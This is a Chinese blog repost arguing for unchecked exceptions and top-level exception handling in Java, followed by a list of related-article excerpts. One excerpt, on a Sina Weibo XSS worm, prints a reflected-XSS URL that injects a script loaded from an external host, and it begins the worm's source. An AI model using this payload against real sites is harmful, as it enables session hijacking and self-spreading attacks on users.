简化Java中的异常处理

为什么80%的码农都做不了架构师?>>>   hot3.png

#1. 不需要Checked异常 Java中的Checked异常,可以说有弊无利,它除了能带来一系列的麻烦,能干的事情Unchecked异常都能干。 ##1.1. 代码污染 首先,当一个方法声明抛出一个Checked异常时,该方法的后面就得加上throws XxxException;其次,该方法的调用者必须要处理这种异常:要么继续抛出,调用方法也得加上throws XxxException;要么捕获处理,处理方式可能是记录日志、处理异常流或者再包装一次抛出去;再次,当方法增加另一个Checked异常时,调用者也必须增加这个异常处理,否者代码编译都会出错。 ##1.2. 调用者未必需要或能够处理这个异常 Checked异常强调调用者需要处理这种异常,但绝大部分情况是你根本不知道调用者是否真的需要,或者调用者是否有能力去处理这种异常。例如:SQLException,调用者除了能记录日志或者包装一下继续抛出,还能做什么?在程序运行过程中用代码去修复错误的SQL语法吗? ##1.3. 都可以用Unchecked异常替代 Checked异常除了强制调用者捕获处理以外,并不比Unchecked异常能够携带更多信息。举个常用的例子:用户登录,可能输入错误的用户名或密码,需要定义两个异常:UserNotFoundExceptionPasswordNotMatchException。把这两个异常定义为Checked异常看上去无可厚非了,调用者显然是必须也能够处理这两个异常的。但反过来想,这两个异常为什么不能定义为Unchecked异常呢?如果调用者需要分别提示用户不同的信息,就分别捕获处理;如果调用者需要统一提示用户:用户名或密码错误,就一起捕获处理;如果调用者本身就有一个顶层统一的异常处理机制呢,就让它直接抛到顶层去处理好了。聪明的Shiro框架就是这么干的,所有的验证异常全部都是Unchecked异常。

#2. 不需要太多的异常 通常情况下,应用这个层面的代码只需要两种异常:系统异常和业务异常。系统异常用来告诉用户:系统繁忙,请稍后再试(通常都是这么委婉,实际可能是某个BUG发作了 ^_^);业务异常,用来告诉用户具体的业务操作提示信息(新增用户时,提示用户名已存在之类的),提示信息放在message属性里就好了。两种异常,也就是两个异常类,它们可以处理掉80%-90%的异常。剩下的情况,只有当需要对某种类型的异常流程进行特殊处理时,才需要增加异常类。例如对外开放API接口时,或许需要定义一个ApiException,用来返回错误的消息。

#3. 把异常抛到顶层处理 应用可能分很多层,在顶层设计一个异常处理框架来统一处理异常是明智的选择。例如三层结构的web应用,应该在表现层统一处理异常,而不是让异常处理分布在各个层面,像Spring MVC、Struts这些MVC框架都有统一异常处理机制,用好它们就行了。 异常处理往往是开发人员处理不好的一个环节,而这个环节处理又会带来比较大的麻烦,例如错误的处理导致异常中断了,最终连错误日志都找不到。设计好一个顶层异常处理机制,然后告诉开发人员不用处理异常,这样可以尽可能的避免发生这样的问题。 正因如此,异常需要透传到顶层,代码又需要保持优雅,所以Unchecked异常才是必然的选择,优秀的开源框架都是这么干的。

转载于:https://my.oschina.net/jnoee/blog/379980

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460463.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux常用命令之wget

wget:从网络上下载文件到当前目录。 转载于:https://www.cnblogs.com/nufangrensheng/p/3646055.html

Serv-U搭建FTP服务器

1、打开软件,勾选start automatically 2、点击domain,新建domain 3、依次输入IP、端口号、域名、域名类型 完成后的样子 4、右键单击Users,新建用户。依次输入用户名、Home目录、用户密码。 如果需要创建匿名账户,则用户名用Anony…

第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。 我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,…

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等)&#xff0c;请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…

边框颜色为 tintColor 的 UIButton

创建一个 UIButton 的子类&#xff0c;重写其方法&#xff1a; - (void)drawRect:(CGRect)rect {[[self layer] setCornerRadius:CORNER_RADIUS];[[self layer] setMasksToBounds:YES]; [[self layer] setBorderWidth:1];[[self layer] setBorderColor:self.tintColor.CGColo…

netty SimpleChannelInboundHandler类继承使用

2019独角兽企业重金招聘Python工程师标准>>> 继承一个SimpleChannelInboundHandler来实现我们的Client&#xff0c;我们需要重写其中的三个方法&#xff1a; package NettyDemo.echo.handler;import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; …

高中关于人工智能方面的课题_如何看待计算机专业开始设置人工智能课程

首先&#xff0c;当前计算机专业当中设置与人工智能相关的课程是一个必然的趋势&#xff0c;随着人工智能技术开始逐渐实现落地应用&#xff0c;未来计算机相关专业的课程当中&#xff0c;人工智能课程的比重也会逐渐提升&#xff0c;而且一定要重视这些课程&#xff0c;这对于…

Linux命令-目录处理命令:mkdir

mkdir /tmp/beijing mkdir -p /tmp/shijiazhuang/yuhuaqu 一条命令可以同时创建父目录和子目录 mkdir /tmp/beijing/chaoyangqu /tmp/beijing/dongchengqu /tmp/beijing/tongzhouqu 同时创建多个目录

tableau 倒序都倒了_Tableau优秀作品拆解复刻01-是时候终结瘘管病了

写在最前面&#xff1a;这个复刻系列是学习tableau官网库中的优秀作品。学习他们亮眼图表的制作细节&#xff0c;仪表板的排版&#xff0c;颜色的搭配以及交互。tableau库的链接&#xff1a;优秀作品都在这里展示。库​public.tableau.com1 整体布局 颜色&#xff1a; 采用橙色…

目前最细致清晰的NSDictionary以及NSMutableDictionary用法总结(转)

做过Java语言 或者 C语言 开发的朋友应该很清楚 关键字map 吧&#xff0c;它可以将数据以键值对儿的形式储存起来&#xff0c;取值的时候通过KEY就可以直接拿到对应的值&#xff0c;非常方便。在Objective-C语言中 词典对象就是做这个事情的&#xff0c;不过在同一个词典对象中…

android string数组转json_移动端开发基础【20】pages.json的配置项pages

uni-app项目是通过pages节点配置应用由哪些页面组成&#xff0c;pages节点接收一个数组&#xff0c;数组每个项都是一个对象&#xff0c;其属性值如下&#xff1a;(1) 属性&#xff1a;path类型&#xff1a;String描述&#xff1a;配置页面路径(2) 属性&#xff1a;style类型&a…

Ubuntu Server 分区案例

为什么80%的码农都做不了架构师&#xff1f;>>> 只有一台服务器&#xff0c;配置硬盘1TB&#xff0c;内存4GB&#xff0c;既要做开发服务器&#xff0c;又要做Web服务器和数据库服务器&#xff0c;分区如下&#xff1a; 挂载点大小分区格式 /boot512MBext4/20GBext…